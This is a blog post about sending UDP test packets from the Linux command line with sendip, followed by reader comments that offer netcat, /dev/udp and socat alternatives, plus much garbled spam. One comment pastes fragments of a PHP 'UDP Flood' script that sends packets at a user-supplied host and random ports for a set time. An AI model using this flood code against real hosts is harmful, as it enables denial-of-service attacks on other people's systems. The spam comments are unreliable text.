Sending UDP packets from the command line

Although is pretty easy to write a perl/python script to send UDP data, I wanted to be able to send a UDP message from the command line to test some code quickly. After 15 seconds of googling I found the awesome command “sendip”. After a minute of reading the man page I got what I needed:

sendip -p ipv4 -is -p udp -us 5070 -ud 5060 -d "Hello" -v

This should send a “Hello” message over udp to port 5060 using an ipv4 address.

Here the result:

Added 26 options
Initializing module ipv4
Initializing module udp
Finalizing module udp
Finalizing module ipv4
Final packet data:
45 00 00 21   E..!
34 E0 00 00   4...
FF 11 02 F9   ....
C0 A8 01 51   ...Q
C0 A8 01 51   ...Q
13 CE 13 C4   ....
00 0D 30 7D   ..0}
48 65 6C 6C   Hell
6F   o
Sent 33 bytes to
Freeing module ipv4
Freeing module udp

It is pretty awesome that you can build about any protocol packet for quick testing using just bash …

This entry was posted in linux. Bookmark the permalink.

30 Responses to Sending UDP packets from the command line

  1. Great blog you have here.. It’s hard to find excellent writing like yours nowadays.

    I truly appreciate individuals like you! Take care!!

  2. BestVickey says:

    I have noticed you don’t monetize,
    don’t waste your traffic, you can earn additional cash every month
    with new monetization method. This is the best adsense alternative
    for any type of website (they approve all sites), for more details simply search in gooogle:
    murgrabia’s tools

  3. honest man says:

    This does not work for windows.

  4. RoryBold says:

    I have checked your website and i’ve found some duplicate content, that’s why you don’t rank high in google’s search results, but there is a tool that can help you
    to create 100% unique articles, search for: SSundee advices unlimited content
    for your blog

  5. Iphone says:

    Options for recrding digital TV programmes not so long ago were scant and expensive.

    Sling Media’s Sling – Player software for Windows lets the viewer control live
    TV with all the Live Video Buffer–pause, rewind or fast-forward approximately sixty minutes of
    video. Pre- hhas a multitouch functionality with touchscreen control, slide-out keyboard, good multimedia integrarion and Web Services like wireless options like 3G, Wi-Fi, Bluetooth
    and GPS.

  6. Defragment yur hard disk – As a PC user, you need to understand the defragmentation.
    There is no need of bringing in an experienced to help increase computer performance as it can be done easily by any individual.

    People understand this information regarding you once yoou
    visit certain websites where the track their user’s

  7. Pingback: Need to fake some incoming packets? | solutions not code

  8. LastJami says:

    I have noticed you don’t monetize your blog, don’t waste your traffic,
    you can earn extra cash every month because you’ve got high quality content.
    If you want to know how to make extra $$$, search for: Mertiso’s tips best adsense alternative

  9. says:

    scroll down to where it says HKEY_CURRENT_USER and expand it by pressing
    the plus sign beside it. The Billing Process – You are inside
    the consulting industry so you must always think that you are currently operating a business as being a computer consultant rather
    than just performing IT jobs as being a career.
    Today’s computer scanners have benefited plenty of households – from parents who wish to keep hard and soft copies of a few of their important documents to students who locate them useful enough for his or her school and research needs.

  10. Looking for a job with good salary seems to become
    a tough task nowadays. If one is careful to not offend,
    the real key or she could generate a huge number of new
    readers. The informal form of your blog post gives Internet consumers a chance to get to know
    the people who are behind the company better, so that it is easier to enable them to
    trust you and also buy your site.

  11. It’s an amazing paragraph for all the web visitors; they will obtain advantage from it I am sure.

  12. chetan H.P says:

    I tried sending sendip from my machine in terminal, but I am unable get any response. Do I need to add any extra tool for it

  13. Ananth says:

    do I need to install sendIp software to use this unix command to set packets?

  14. Chris says:

    you can also use the ubiquitous net cat
    echo -n “foo” | nc -4u -w1

  15. Zied says:

    Thanks for this topic. found exactly what I want to troubleshot rsyslog remote udp message logging

  16. Tim says:

    If you want an easy to way to send/receive TCP/UDP packets, you can just download this:

  17. RR says:

    Is “SendIP” a third part tool or comes as port of windows?

  18. ss says:

    background-color: #00FF00; font-size: 8pt; color: black; font-family: Tahoma; border: 1 solid #66;
    background-color: #00FF00; font-size: 8pt; color: black; font-family: Tahoma; border: 1 solid #66;
    body {
    background-color: black;

    $packets = 0;

    $exec_time = $_GET['time'];

    $time = time();
    //print "Started: ".time('d-m-y h:i:s')."”;
    $max_time = $time+$exec_time;

    $host = $_GET[‘host’];

    for($i=0;$i $max_time){
    $rand = rand(1,65000);
    $fp = fsockopen(‘udp://’.$host, $rand, $errno, $errstr, 5);
    fwrite($fp, $out);
    echo “UDP FloodCompleted with $packets (” . round(($packets*65)/1024, 2) . ” MB) packets averaging “. round($packets/$exec_time, 2) . ” packets per second \n”;
    echo ‘
    This form is inoperational!

    Length (seconds):
    }else{ echo ‘UDP Flood
    This form is inoperational!

    Length (seconds):

  19. Rain says:

    how to send to a ports range ?

  20. Moy says:

    It is definitely another option and looks easier. However, it is probably not as powerful.

    * Can you specify IPv6 somehow? perhaps implicit when using IPv6 address formatting?

    * How do you specify the source IP address and port?

    Another difference is that if you’re using dash (Ubuntu now ships with it I believe), zsh, korn shell or others, that might not work.

  21. Peter says:

    Is it easier to use bash’s built in TCP/UDP handling capabilities?

    echo “hello” > /dev/tcp/
    echo “hello” > /dev/udp/

  22. Moy says:

    Yes you can do that.

    Don’t do evil stuff!

  23. Vice says:

    can u send that to a public ip like google server or something like that?

  24. Moy says:

    Hey Vlad!

    That’s a creative use of socat.

    I had only used it in the past to quickly send freeswitch ESL commands over TCP from bash, I should’ve thought udp support was there as well.

    Thanks for sharing!

  25. Vlad says:

    Hi Moy,

    I like socat:
    echo “HELLO” | socat – UDP-DATAGRAM:,broadcast

    Checkout some examples:

  26. Moy says:

    Hi José,

    Never used sipsak, whenever I need full SIP testing I use “sipp”. I see sipsak handy though for quick testing without bothering to write an XML scenario for sipp. Thanks for sharing!

  27. Jose Ferney Franco says:

    Have you tried “sipsak” for SIP testing?

  28. M00kaw says:

    This is really indeed awesome!
    I was looking at some ruby / perl code for creating such a tool…
    I still think I’m going to play with it – but this is just so awesome..
    Linux just keeps surprising me..

    Thanks a lot for sharing!

  29. mis_suscripciones says:

    Gracias por compartir, acabo de publicar tu enlace en Reddit:

Leave a Reply

Your email address will not be published. Required fields are marked *